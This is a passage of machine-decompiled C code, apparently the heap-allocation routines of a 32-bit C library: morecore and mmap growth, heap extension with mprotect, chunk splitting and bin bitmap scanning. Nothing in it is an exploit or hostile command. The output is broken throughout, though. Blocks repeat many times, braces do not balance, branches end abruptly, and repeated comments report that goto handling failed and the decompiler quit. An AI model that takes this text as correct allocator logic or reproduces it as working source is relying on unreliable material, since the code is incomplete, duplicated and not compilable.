v145 = v198 + v136;
v180 = v145 & v135;
g102 = v180;
v175 = v180;
if (v145 > v135) {
// 0x80b4acd
v161 = __default_morecore((int32_t *)v180);
if (v161 == NULL) {
// 0x80b4cbb
v175 = g102;
v172 = g81;
// branch -> 0x80b4cc1
// 0x80b4cc1
v203 = v175;
if ((v172 & 2) == 0) {
// 0x80b4cc6
v209 = v175 + v182 + v136 & v135;
g102 = v209;
v203 = v209;
// branch -> 0x80b4cd3
}
// 0x80b4cd3
v170 = v203;
v205 = (int32_t *)v203;
if (v203 < 0x100000) {
// 0x80b4cde
g102 = 0x100000;
v170 = 0x100000;
v205 = (int32_t *)0x100000;
// branch -> 0x80b4cea
}
// 0x80b4cea
if (v64 < v205) {
// 0x80b4cf6
v163 = mmap(&v11->e0, v170, 3, 34, -1, v10);
if (v163 != (int32_t *)-1) {
// 0x80b4d14
v193 = g102;
v155 = (int32_t *)(v193 + (int32_t)v163);
g81 |= 2;
if (v163 != NULL) {
v177 = v193;
v166 = v155;
v194 = v163;
// 0x80b4af4
v156 = (int32_t)v194;
if (g79 == 0) {
// 0x80b4f0a
g79 = v156;
// branch -> 0x80b4b01
}
// 0x80b4b01
v200 = (int32_t)v205;
v141 = g84 + v200;
g84 = v141;
if (v148 == v194) {
// 0x80b4e8e
if (v166 == NULL) {
// 0x80b4e99
*(int32_t *)(g98 + 4) = v200 + v182 | 1;
// branch -> 0x80b49cb
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// 0x80b4b19
if ((char)g81 == 2) {
// 0x80b4b26
if (v182 != 0) {
// 0x80b4b2d
if (v148 <= v194) {
// 0x80b4b36
g84 = v141 + v156 - v139;
// branch -> 0x80b4b43
// 0x80b4b43
v189 = v156 % 8;
if (v194 == (int32_t *)7) {
// 0x80b4b4e
v201 = 0;
v158 = (int32_t *)7;
// branch -> 0x80b4b53
} else {
// 0x80b4f23
v167 = 8 - v189;
v201 = v167;
v158 = (int32_t *)(v167 + v156);
// branch -> 0x80b4b53
}
// 0x80b4b53
v146 = v201 + v182;
v142 = v156 + v177 + v146;
v143 = v142 + v136;
g96 = v143;
v168 = (v143 & v135) - v142;
g101 = v168;
v144 = v168 + v146;
v153 = (int32_t *)v144;
v162 = __default_morecore(v153);
g97 = v144;
if (v162 == NULL) {
// 0x80b4f15
v165 = __default_morecore(&v11->e0);
v157 = v158;
// branch -> 0x80b4ed4
// 0x80b4ed4
g102 = (int32_t)v165;
if (v165 != NULL) {
// 0x80b4edf
// branch -> 0x80b4b8b
// 0x80b4b8b
v202 = (int32_t)v157;
g82 = v202;
v154 = (int32_t)NULL;
*(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
// branch -> 0x80b49cb
}
}
}
} else {
// 0x80b4b7e
v174 = g65;
g95 = v174;
g1 = false;
g103 = v174 == 0;
if (v174 != 0) {
// 0x80b4b87
((int32_t (*)())v174)();
// branch -> 0x80b4b8b
}
// 0x80b4b8b
v202 = (int32_t)v158;
g82 = v202;
v154 = (int32_t)v153;
*(int32_t *)(v202 + 4) = (int32_t)v162 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
// branch -> 0x80b49cb
}
}
}
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
// branch -> 0x80b4a26
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b4b43
v189 = v156 % 8;
if (v194 == (int32_t *)7) {
// 0x80b4b4e
v201 = 0;
v158 = (int32_t *)7;
// branch -> 0x80b4b53
} else {
// 0x80b4f23
v167 = 8 - v189;
v201 = v167;
v158 = (int32_t *)(v167 + v156);
// branch -> 0x80b4b53
}
// 0x80b4b53
v146 = v201 + v182;
v142 = v156 + v177 + v146;
v143 = v142 + v136;
g96 = v143;
v168 = (v143 & v135) - v142;
g101 = v168;
v144 = v168 + v146;
v153 = (int32_t *)v144;
v162 = __default_morecore(v153);
g97 = v144;
if (v162 == NULL) {
// 0x80b4f15
v165 = __default_morecore(&v11->e0);
v157 = v158;
// branch -> 0x80b4ed4
// 0x80b4ed4
g102 = (int32_t)v165;
if (v165 != NULL) {
// 0x80b4edf
// branch -> 0x80b4b8b
// 0x80b4b8b
v202 = (int32_t)v157;
g82 = v202;
v154 = (int32_t)NULL;
*(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
// branch -> 0x80b49cb
}
}
}
} else {
// 0x80b4b7e
v174 = g65;
g95 = v174;
g1 = false;
g103 = v174 == 0;
if (v174 != 0) {
// 0x80b4b87
((int32_t (*)())v174)();
// branch -> 0x80b4b8b
}
// 0x80b4b8b
v202 = (int32_t)v158;
g82 = v202;
v154 = (int32_t)v153;
*(int32_t *)(v202 + 4) = (int32_t)v162 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
// branch -> 0x80b49cb
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80b4ca4
if (v166 == NULL) {
// 0x80b4ec5
v165 = __default_morecore(&v11->e0);
v157 = v194;
// branch -> 0x80b4ed4
// 0x80b4ed4
g102 = (int32_t)v165;
if (v165 != NULL) {
// 0x80b4edf
// branch -> 0x80b4b8b
// 0x80b4b8b
v202 = (int32_t)v157;
g82 = v202;
v154 = (int32_t)NULL;
*(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
// branch -> 0x80b49cb
}
}
}
} else {
// 0x80b4caf
// branch -> 0x80b4b8b
// 0x80b4b8b
v202 = (int32_t)v194;
g82 = v202;
v154 = (int32_t)NULL;
*(int32_t *)(v202 + 4) = (int32_t)v166 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
// branch -> 0x80b49cb
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
// 0x80b4adf
v173 = g65;
g95 = v173;
g1 = false;
g103 = v173 == 0;
if (v173 != 0) {
// 0x80b4ae8
((int32_t (*)())v173)();
// branch -> 0x80b4aea
}
// 0x80b4aea
v199 = g102;
v177 = v199;
v166 = NULL;
v194 = v161;
// branch -> 0x80b4af4
// 0x80b4af4
v156 = (int32_t)v194;
if (g79 == 0) {
// 0x80b4f0a
g79 = v156;
// branch -> 0x80b4b01
}
// 0x80b4b01
v200 = (int32_t)(int32_t *)v199;
v141 = g84 + v200;
g84 = v141;
if (v148 == v194) {
// 0x80b4e8e
if (v166 == NULL) {
// 0x80b4e99
*(int32_t *)(g98 + 4) = v200 + v182 | 1;
// branch -> 0x80b49cb
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// 0x80b4b19
if ((char)g81 == 2) {
// 0x80b4b26
if (v182 != 0) {
// 0x80b4b2d
if (v148 <= v194) {
// 0x80b4b36
g84 = v141 + v156 - v139;
// branch -> 0x80b4b43
// 0x80b4b43
v189 = v156 % 8;
if (v194 == (int32_t *)7) {
// 0x80b4b4e
v201 = 0;
v158 = (int32_t *)7;
// branch -> 0x80b4b53
} else {
// 0x80b4f23
v167 = 8 - v189;
v201 = v167;
v158 = (int32_t *)(v167 + v156);
// branch -> 0x80b4b53
}
// 0x80b4b53
v146 = v201 + v182;
v142 = v156 + v177 + v146;
v143 = v142 + v136;
g96 = v143;
v168 = (v143 & v135) - v142;
g101 = v168;
v144 = v168 + v146;
v162 = __default_morecore((int32_t *)v144);
g97 = v144;
if (v162 == NULL) {
// 0x80b4f15
v165 = __default_morecore(&v11->e0);
v157 = v158;
// branch -> 0x80b4ed4
// 0x80b4ed4
g102 = (int32_t)v165;
if (v165 != NULL) {
// 0x80b4edf
// branch -> 0x80b4b8b
// 0x80b4b8b
v202 = (int32_t)v157;
g82 = v202;
v154 = (int32_t)NULL;
*(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
// branch -> 0x80b49cb
}
}
}
} else {
// 0x80b4b7e
v174 = g65;
g95 = v174;
g1 = false;
g103 = v174 == 0;
if (v174 != 0) {
// 0x80b4b87
((int32_t (*)())v174)();
// branch -> 0x80b4b8b
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b4b43
v189 = v156 % 8;
if (v194 == (int32_t *)7) {
// 0x80b4b4e
v201 = 0;
// branch -> 0x80b4b53
} else {
// 0x80b4f23
v201 = 8 - v189;
// branch -> 0x80b4b53
}
// 0x80b4b53
v146 = v201 + v182;
v142 = v156 + v177 + v146;
v143 = v142 + v136;
g96 = v143;
v168 = (v143 & v135) - v142;
g101 = v168;
v144 = v168 + v146;
v162 = __default_morecore((int32_t *)v144);
g97 = v144;
if (v162 == NULL) {
// 0x80b4f15
v165 = __default_morecore(&v11->e0);
// branch -> 0x80b4ed4
// 0x80b4ed4
g102 = (int32_t)v165;
if (v165 != NULL) {
// 0x80b4edf
// branch -> 0x80b4b8b
// Detected a possible infinite recursion (goto support failed); quitting...
}
} else {
// 0x80b4b7e
v174 = g65;
g95 = v174;
g1 = false;
g103 = v174 == 0;
if (v174 != 0) {
// 0x80b4b87
((int32_t (*)())v174)();
// branch -> 0x80b4b8b
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80b4ca4
if (v166 == NULL) {
// 0x80b4ec5
v165 = __default_morecore(&v11->e0);
// branch -> 0x80b4ed4
// 0x80b4ed4
g102 = (int32_t)v165;
if (v165 != NULL) {
// 0x80b4edf
// branch -> 0x80b4b8b
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b4cc1
v203 = v175;
if ((v172 & 2) == 0) {
// 0x80b4cc6
v209 = v175 + v182 + v136 & v135;
g102 = v209;
v203 = v209;
// branch -> 0x80b4cd3
}
// 0x80b4cd3
v170 = v203;
v205 = (int32_t *)v203;
if (v203 < 0x100000) {
// 0x80b4cde
g102 = 0x100000;
v170 = 0x100000;
v205 = (int32_t *)0x100000;
// branch -> 0x80b4cea
}
// 0x80b4cea
if (v64 < v205) {
// 0x80b4cf6
v163 = mmap(&v11->e0, v170, 3, 34, -1, v10);
if (v163 != (int32_t *)-1) {
// 0x80b4d14
v193 = g102;
v155 = (int32_t *)(v193 + (int32_t)v163);
g81 |= 2;
if (v163 != NULL) {
v177 = v193;
v166 = v155;
v194 = v163;
// 0x80b4af4
v156 = (int32_t)v194;
if (g79 == 0) {
// 0x80b4f0a
g79 = v156;
// branch -> 0x80b4b01
}
// 0x80b4b01
v200 = (int32_t)v205;
v141 = g84 + v200;
g84 = v141;
if (v148 == v194) {
// 0x80b4e8e
if (v166 == NULL) {
// 0x80b4e99
*(int32_t *)(g98 + 4) = v200 + v182 | 1;
// branch -> 0x80b49cb
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// 0x80b4b19
if ((char)g81 == 2) {
// 0x80b4b26
if (v182 != 0) {
// 0x80b4b2d
if (v148 <= v194) {
// 0x80b4b36
g84 = v141 + v156 - v139;
// branch -> 0x80b4b43
// 0x80b4b43
v189 = v156 % 8;
if (v194 == (int32_t *)7) {
// 0x80b4b4e
v201 = 0;
// branch -> 0x80b4b53
} else {
// 0x80b4f23
v201 = 8 - v189;
// branch -> 0x80b4b53
}
// 0x80b4b53
v146 = v201 + v182;
v142 = v156 + v177 + v146;
v143 = v142 + v136;
g96 = v143;
v168 = (v143 & v135) - v142;
g101 = v168;
v144 = v168 + v146;
v162 = __default_morecore((int32_t *)v144);
g97 = v144;
if (v162 == NULL) {
// 0x80b4f15
v165 = __default_morecore(&v11->e0);
// branch -> 0x80b4ed4
// 0x80b4ed4
g102 = (int32_t)v165;
if (v165 != NULL) {
// 0x80b4edf
// branch -> 0x80b4b8b
// Detected a possible infinite recursion (goto support failed); quitting...
}
} else {
// 0x80b4b7e
v174 = g65;
g95 = v174;
g1 = false;
g103 = v174 == 0;
if (v174 != 0) {
// 0x80b4b87
((int32_t (*)())v174)();
// branch -> 0x80b4b8b
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b4b43
v189 = v156 % 8;
if (v194 == (int32_t *)7) {
// 0x80b4b4e
v201 = 0;
// branch -> 0x80b4b53
} else {
// 0x80b4f23
v201 = 8 - v189;
// branch -> 0x80b4b53
}
// 0x80b4b53
v146 = v201 + v182;
v142 = v156 + v177 + v146;
v143 = v142 + v136;
g96 = v143;
v168 = (v143 & v135) - v142;
g101 = v168;
v144 = v168 + v146;
v162 = __default_morecore((int32_t *)v144);
g97 = v144;
if (v162 == NULL) {
// 0x80b4f15
v165 = __default_morecore(&v11->e0);
// branch -> 0x80b4ed4
// 0x80b4ed4
g102 = (int32_t)v165;
if (v165 != NULL) {
// 0x80b4edf
// branch -> 0x80b4b8b
// Detected a possible infinite recursion (goto support failed); quitting...
}
} else {
// 0x80b4b7e
v174 = g65;
g95 = v174;
g1 = false;
g103 = v174 == 0;
if (v174 != 0) {
// 0x80b4b87
((int32_t (*)())v174)();
// branch -> 0x80b4b8b
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80b4ca4
if (v166 == NULL) {
// 0x80b4ec5
v165 = __default_morecore(&v11->e0);
// branch -> 0x80b4ed4
// 0x80b4ed4
g102 = (int32_t)v165;
if (v165 != NULL) {
// 0x80b4edf
// branch -> 0x80b4b8b
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
// 0x80b4918
v178 = v137 & -0x100000;
v149 = (int32_t *)(v178 | 8);
v195 = *v149;
g102 = v65 - v182 + 16;
v159 = getpagesize();
v183 = v159 - 1;
v169 = g102;
if (v169 < 0) {
// 0x80b4dd8
v191 = v169 + v195;
if (v191 >= 16) {
// 0x80b4de7
g101 = v191;
v192 = -v169;
g102 = v192;
v164 = mmap((int32_t *)(v191 + v178), v192, v10, 50, -1, v10);
if ((int32_t)v164 != -1) {
// 0x80b4e09
*v149 = g101;
*v18 = *v18 + g101 - v195;
v181 = v178;
v204 = *(int32_t *)(v181 + 8);
g67 += v204 - v195;
v176 = g98;
*(int32_t *)(v176 + 4) = v204 + v181 - v176 | 1;
// branch -> 0x80b49cb
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
} else {
// 0x80b4940
v179 = v169 + v183 & -v159;
v184 = v179 + v195;
g101 = v184;
if (v184 < 0x100001) {
// 0x80b4e38
if (mprotect((int32_t *)(v195 + v178), v179, 3) == 0) {
// 0x80b4e09
*v149 = g101;
*v18 = *v18 + g101 - v195;
v181 = v178;
v204 = *(int32_t *)(v181 + 8);
g67 += v204 - v195;
v176 = g98;
*(int32_t *)(v176 + 4) = v204 + v181 - v176 | 1;
// branch -> 0x80b49cb
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
// 0x80b4959
g95 = v65 + 32;
g97 = g71;
v160 = new_heap(v1, v32);
v150 = (struct struct_135 *)v160;
v27 = v160;
if (v160 != 0) {
// 0x80b4970
v26 = v58;
v150->e0 = a1;
v150->e1 = v178;
v151 = (int32_t *)(v26 + 1100);
*v151 = *v151 + v150->e2;
v196 = v150->e2;
g67 += v196;
v185 = v27 + 16;
g98 = v185;
*(int32_t *)(v26 + 48) = v185;
v150->e4 = v196 - 16 | 1;
v206 = v182 - 16;
v25 = v206;
v140 = v206 + v137;
v26 = v140;
*(int32_t *)(v140 + 12) = 1;
if (v25 > 15) {
// 0x80b4dac
*(int32_t *)(v26 + 4) = 9;
*(int32_t *)(v26 + 8) = 8;
g97 = v137;
*v147 = v25 | 5;
_int_free(a1, (int32_t *)(g97 + 8));
// branch -> 0x80b49cb
} else {
// 0x80b49b7
v207 = v182 - 8;
*v147 = v207 | 1;
*(int32_t *)(v26 + 8) = v207;
// branch -> 0x80b49cb
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
int32_t v223 = v132 + v65; // 0x80b487a
result2 = v223;
*v20 = v223;
*(int32_t *)(result2 + 4) = v133 - v65 | 1;
int32_t v224 = g69; // 0x80b48a7
g95 = v224;
if (v224 == 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b4877
v35 = result2;
v43 = v224;
// branch -> 0x80b42dd
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
int32_t v225 = v123 + 4; // 0x80b4450
v128 = *(int32_t *)v225;
if (v128 != 0) {
// break -> 0x80b445a
break;
}
v123 = v225;
v124 = v131;
v125 = v130;
v126 = v127;
// continue -> 0x80b443c
continue;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b445a
v122 = v129 + 248;
g101 = v122;
g102 = 1;
v118 = 1;
v119 = v128;
v120 = v127;
// branch -> 0x80b446d
} else {
// 0x80b449a
v122 = v109;
v118 = v114;
v119 = v112;
v120 = v116;
// branch -> 0x80b446d
}
int32_t v226 = v122; // 0x80b4468105
int32_t v227 = v118;
int32_t v228 = v119; // 0x80b446d
// branch -> 0x80b446d
while (true) {
int32_t v229 = v227; // 0x80b4481
int32_t v230 = v226; // 0x80b4680
if ((v228 & v227) == 0) {
int32_t v231 = v226 + 8; // 0x80b4468
int32_t v232 = 2 * v227; // 0x80b446b
while ((v232 & v228) == 0) {
// 0x80b4468
v231 += 8;
v232 *= 2;
// continue -> 0x80b4468
}
// 0x80b446d
g101 = v231;
g102 = v232;
v229 = v232;
v230 = v231;
// branch -> 0x80b4471
}
int32_t * v233 = (int32_t *)(v230 + 12); // 0x80b4471_0
int32_t v234 = *v233; // 0x80b4471
if (v234 == v230) {
int32_t v235 = -1 - v229 & v228; // 0x80b4485
*(int32_t *)(4 * result2 + v71) = v235;
int32_t v236 = v230 + 8; // 0x80b4491
g101 = v236;
int32_t v237 = 2 * g102; // 0x80b4494
g102 = v237;
if (v235 >= v237) {
// 0x80b449a
if (v237 == 0) {
// break -> 0x80b4438
break;
}
v226 = v236;
v227 = v237;
v228 = v235;
// continue -> 0x80b446d
continue;
}
// 0x80b4438
v110 = result2;
v117 = v26;
v121 = v120;
// branch -> 0x80b4438
goto lab_0xb24de10;
} else {
// 0x80b4670
result2 = v234;
int32_t * v238 = (int32_t *)(v234 + 4); // 0x80b4672_0
int32_t v239 = *v238 & -8; // 0x80b4675
v27 = v239;
v26 = v239 - v65;
int32_t v240 = *(int32_t *)(v234 + 12); // 0x80b467d
*v233 = v240;
*(int32_t *)(v240 + 8) = g101;
int32_t v241 = result2; // 0x80b46da
if (v26 > 15) {
int32_t v242 = v241 + v65; // 0x80b46dc
v27 = v242;
int32_t v243 = (int32_t)v61; // 0x80b46df
v25 = v243;
*(int32_t *)(v243 + 8) = v242;
*(int32_t *)(v25 + 12) = v27;
*(int32_t *)(v27 + 8) = v25;
*(int32_t *)(v27 + 12) = v25;
if (v64 <= (int32_t *)511) {
// 0x80b46f7
*v21 = v27;
// branch -> 0x80b46fd
}
// 0x80b46fd
g98 = v234;
*v238 = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v27 + 4) = v26 | 1;
int32_t v244 = v26; // 0x80b4724
*(int32_t *)(v244 + v27) = v244;
// branch -> 0x80b46a4
} else {
int32_t * v245 = (int32_t *)(v241 + 4 + v27); // 0x80b468b_0
*v245 = *v245 | 1;
if (a1 == (char *)0x8139c40) {
// 0x80b48bc
g98 = v234;
// branch -> 0x80b46a4
} else {
int32_t * v246 = (int32_t *)(result2 + 4); // 0x80b469d_0
*v246 = *v246 | 4;
g98 = v234;
// branch -> 0x80b46a4
}
// 0x80b46a4
result = g98 + 8;
v82 = g69;
g95 = v82;
if (v82 == 0) {
// 0x80b46b4
g98 = (int32_t)v23;
return result;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b46a4
result = g98 + 8;
result2 = result;
v82 = g69;
g95 = v82;
if (v82 == 0) {
// 0x80b46b4
g98 = (int32_t)v23;
return result;
}
v35 = result;
v43 = v82;
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b4438
v110 = result2;
v117 = v26;
v121 = v120;
// branch -> 0x80b4438
goto lab_0xb24de10;
} else {
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
lab_0x7a00210:
while (true) {
// 0x80b4331
g98 = *(int32_t *)(v46 + 12);
uint32_t v247 = *(int32_t *)(v46 + 4); // 0x80b4334
g97 = v247;
int32_t * v248; // bp+044
int32_t * v249;
if (v247 >= 9) {
// 0x80b4340
if (v247 <= *v18) {
v249 = v31;
v248 = v22;
lab_0xb24e710:;
int32_t v250 = v247 & -8; // 0x80b4351
g102 = v250;
int32_t v251 = g98;
int32_t v252 = v251; // 0x80b4369
if (v64 <= (int32_t *)511) {
lab_0x79d4680:
// 0x80b435d
if (v251 == v57) {
int32_t v253 = (int32_t)v62; // 0x80b45f1
if (v253 == *v21) {
// 0x80b4600
if (v250 > v8) {
// 0x80b460e
v26 = v250 - v65;
int32_t v254 = v253 + v65; // 0x80b4616
v27 = v254;
result2 = v57;
*(int32_t *)(v57 + 8) = v254;
*(int32_t *)(result2 + 12) = v27;
*v21 = v27;
*(int32_t *)(v27 + 8) = result2;
*(int32_t *)(v27 + 12) = result2;
*(int32_t *)(v253 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v27 + 4) = v26 | 1;
int32_t v255 = v26; // 0x80b4654
*(int32_t *)(v255 + v27) = v255;
int32_t v256 = g69; // 0x80b465d
g95 = v256;
if (v256 != 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
v252 = v57;
}
} else {
v252 = v57;
}
} else {
v252 = v251;
}
}
lab_0x79d4c50:
// 0x80b4366
*v19 = v252;
*(int32_t *)(g98 + 8) = v57;
uint32_t v257 = g102; // 0x80b436f
if (v65 == v257) {
int32_t v258 = (int32_t)v62; // 0x80b47ea
v26 = v258;
g98 = v65;
int32_t * v259 = (int32_t *)(v65 + 4 + v258); // 0x80b47f0_0
*v259 = *v259 | 1;
if (a1 != (char *)0x8139c40) {
int32_t * v260 = (int32_t *)(v26 + 4); // 0x80b47fe_0
*v260 = *v260 | 4;
g98 = v258;
// branch -> 0x80b46a4
}
// 0x80b46a4
result = g98 + 8;
v82 = g69;
g95 = v82;
if (v82 == 0) {
// 0x80b46b4
g98 = (int32_t)v248;
return result;
}
v35 = result;
v43 = v82;
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80b4378
int32_t v261;
int32_t v262; // 0x80b4398
uint32_t v263; // 0x80b4398
int32_t v264; // 0x80b43a5
if (v257 > 511) {
uint32_t v265 = v257 / 64; // 0x80b4532
int32_t v266; // 0x80b4393243
int32_t v267; // 0x80b453e
int32_t v268; // 0x80b4547
int32_t v269; // 0x80b454b
int32_t v270; // 0x80b4547
int32_t v271; // 0x80b4547
if (v257 > 2111) {
uint32_t v272 = v257 / 512; // 0x80b45c5
int32_t v273; // 0x80b45cd
if (v257 > 0x29ff) {
uint32_t v274 = v257 / 0x1000; // 0x80b45da
int32_t v275; // 0x80b45e6
if (v257 > 0xafff) {
uint32_t v276 = v257 / 0x8000; // 0x80b46c0
if (v257 > 0x27fff) {
uint32_t v277 = v257 / 0x40000; // 0x80b472e
if (v257 < 0xc0000) {
int32_t v278 = v277 + 124; // 0x80b47df
v266 = v278;
v268 = 2 * v278;
// branch -> 0x80b4544
} else {
// 0x80b473a
v266 = 126;
v268 = 252;
// branch -> 0x80b4544
}
lab_0x79dcf30:
// 0x80b4544
v271 = 4 * v268;
v270 = v271 + v70;
v261 = v270;
v269 = *(int32_t *)(v271 + v57);
result2 = v269;
v262 = v266;
if (v270 != v269) {
lab_0xc572550:;
uint32_t v279 = v257 | 1; // 0x80b4558
int32_t v280 = *(int32_t *)(v270 + 12); // 0x80b455b
if (v279 > *(int32_t *)(v280 + 4)) {
int32_t v281 = v269;
if (*(int32_t *)(v269 + 4) > v279) {
int32_t v282 = *(int32_t *)(v269 + 8); // 0x80b456c
result2 = v282;
while (*(int32_t *)(v282 + 4) > v279) {
// 0x80b456c
v282 += 8;
result2 = v282;
// continue -> 0x80b456c
}
// 0x80b4574
v261 = *(int32_t *)(v282 + 12);
v262 = v266;
// branch -> 0x80b4393
lab_0x79e1a40:
// 0x80b4393
v263 = v262 % 32;
v264 = 1;
if (v263 != 0) {
lab_0x79e2510:
// if_80b43a0_0_true
v264 = 1 << v263;
// branch -> after_if_80b43a0_0
}
lab_0xd3d4a10:;
int32_t * v283 = (int32_t *)(4 * v262 / 32 + v71); // 0x80b43a5_0
*v283 = *v283 | v264;
int32_t v284 = (int32_t)v62; // 0x80b43ac
v25 = v284;
*(int32_t *)(v284 + 12) = v261;
*(int32_t *)(v25 + 8) = result2;
*(int32_t *)(result2 + 12) = v25;
*(int32_t *)(v261 + 8) = v25;
int32_t v285 = *v19; // 0x80b43c1
char * v286 = (char *)v285; // 0x80b43c4_0
if (v285 == v57) {
v42 = v57;
v32 = v249;
v23 = v248;
v61 = v286;
// break -> 0x80b43cf
break;
}
v46 = v285;
v31 = v249;
v22 = v248;
v62 = v286;
// continue -> 0x80b4331
continue;
}
// 0x80b4574
v261 = *(int32_t *)(v281 + 12);
v262 = v266;
// branch -> 0x80b4393
goto lab_0x79e1a40;
} else {
// 0x80b4563
result2 = v270;
